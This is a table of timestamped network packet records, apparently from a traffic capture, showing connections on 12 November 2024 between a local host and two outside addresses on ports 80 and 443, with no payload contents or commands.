Nov 12, 2024 10:37:35.527762890 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.527844906 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.527848959 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.528146029 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.528533936 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.528558016 CET	443	49943	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.528568983 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.533752918 CET	49943	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.537491083 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.537570953 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.537601948 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.537638903 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.537652016 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.537694931 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.537759066 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.537770987 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.537889004 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.537919998 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.537930965 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.538094997 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.538106918 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.538120031 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.538131952 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.538145065 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.538149118 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.538157940 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.538189888 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.538438082 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.538449049 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.538460970 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.538503885 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.538650990 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.538662910 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.538675070 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.538687944 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.538702011 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.538702011 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.538716078 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.538722038 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.538731098 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.538747072 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.538772106 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.539210081 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.539222002 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.539235115 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.539244890 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.539256096 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.539258957 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.539269924 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.539280891 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.539292097 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.539295912 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.539304972 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.539307117 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.539326906 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.539343119 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.539352894 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.539365053 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.539366007 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.539387941 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.539403915 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.539906979 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.539918900 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.539942980 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.539953947 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.539964914 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.539971113 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.539988041 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.539999962 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.540152073 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.540322065 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.540333986 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.540343046 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.540355921 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.540364027 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.540368080 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.540381908 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.540393114 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.540395975 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.540405989 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.540416956 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.540420055 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.540426016 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.540433884 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.540457010 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.540457010 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.540471077 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.540486097 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.540503979 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.541301966 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.541315079 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.541326046 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.541337967 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.541348934 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.541361094 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.541367054 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.541371107 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.541377068 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.541388988 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.541403055 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.541409969 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.541416883 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.541424036 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.541438103 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.541445971 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.541448116 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.541462898 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.541474104 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.541480064 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.541487932 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.541515112 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.542243958 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.542256117 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.542267084 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.542292118 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.542300940 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.542304993 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.542318106 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.542321920 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.542345047 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.542346001 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.542357922 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.542371035 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.542371035 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.542383909 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.542396069 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.542397022 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.542409897 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.542421103 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.542423010 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.542439938 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.542448997 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.543204069 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.543216944 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.543227911 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.543239117 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.543251038 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.543262005 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.543271065 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.543275118 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.543294907 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.543306112 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.543308020 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.543328047 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.543339014 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.543340921 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.543351889 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.543365002 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.543363094 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.543391943 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.543392897 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.543407917 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.543417931 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.543451071 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.544152021 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.544164896 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.544173956 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.544178963 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.544189930 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.544200897 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.544213057 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.544224977 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.544230938 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.544236898 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.544249058 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.544264078 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.544272900 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.544274092 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.544286013 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.544294119 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.544297934 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.544318914 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.544343948 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.544975996 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.544989109 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.545051098 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.581336021 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.581418991 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.581440926 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.581456900 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.581470013 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.581480980 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.581497908 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.581545115 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.581707954 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.581718922 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.581731081 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.581758976 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.581774950 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.581918955 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.581929922 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.582022905 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.630012989 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.630059958 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.630083084 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.630095959 CET	443	49944	23.47.50.145	192.168.2.6
Nov 12, 2024 10:37:35.630203009 CET	49944	443	192.168.2.6	23.47.50.145
Nov 12, 2024 10:37:35.654408932 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.654484034 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.654498100 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.654560089 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.654598951 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.654699087 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.654711008 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.654755116 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.654836893 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.654848099 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.654859066 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.654871941 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.654876947 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.654890060 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.654918909 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.655086040 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.655194044 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.655205011 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.655214071 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.655225992 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.655235052 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.655239105 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.655250072 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.655252934 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.655263901 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.655281067 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.655576944 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.655589104 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.655791998 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.655807018 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.655816078 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.655827045 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.655833960 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.655848026 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.655860901 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.655870914 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.655884027 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.656114101 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.656124115 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.656132936 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.656143904 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.656155109 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.656167030 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.656179905 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.656331062 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.656342030 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.656351089 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.656361103 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.656372070 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.656378984 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.656387091 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.656394005 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.656404018 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.656415939 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.656420946 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.656425953 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.656439066 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.656446934 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.656450987 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.656462908 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.656462908 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.656475067 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.656482935 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.656486988 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.656507969 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.656519890 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.657330036 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.657341003 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.657351017 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.657361984 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.657370090 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.657371998 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.657382011 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.657385111 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.657397985 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.657407999 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.657411098 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.657418966 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.657426119 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.657430887 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.657438993 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.657444000 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.657469034 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.657490969 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.658062935 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.658073902 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.658085108 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.658094883 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.658106089 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.658117056 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.658124924 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.658128977 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.658133030 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.658140898 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.658152103 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.658160925 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.658162117 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.658178091 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.658188105 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.658189058 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.658214092 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.658233881 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.659009933 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.659020901 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.659029961 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.659037113 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.659041882 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.659046888 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.659061909 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.659074068 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.659086943 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.659087896 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.659101963 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.659111023 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.659120083 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.659121990 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.659135103 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.659153938 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.659166098 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.659990072 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.660001040 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.660012007 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.660023928 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.660031080 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.660034895 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.660047054 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.660057068 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.660063028 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.660068989 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.660080910 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.660079956 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.660092115 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.660100937 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.660104036 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.660110950 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.660120964 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.660126925 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.660131931 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.660145998 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.660160065 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.660183907 CET	49834	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:35.660960913 CET	80	49834	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:35.660974026 CET	80	49834	185.215.113.206	192.168.2.6
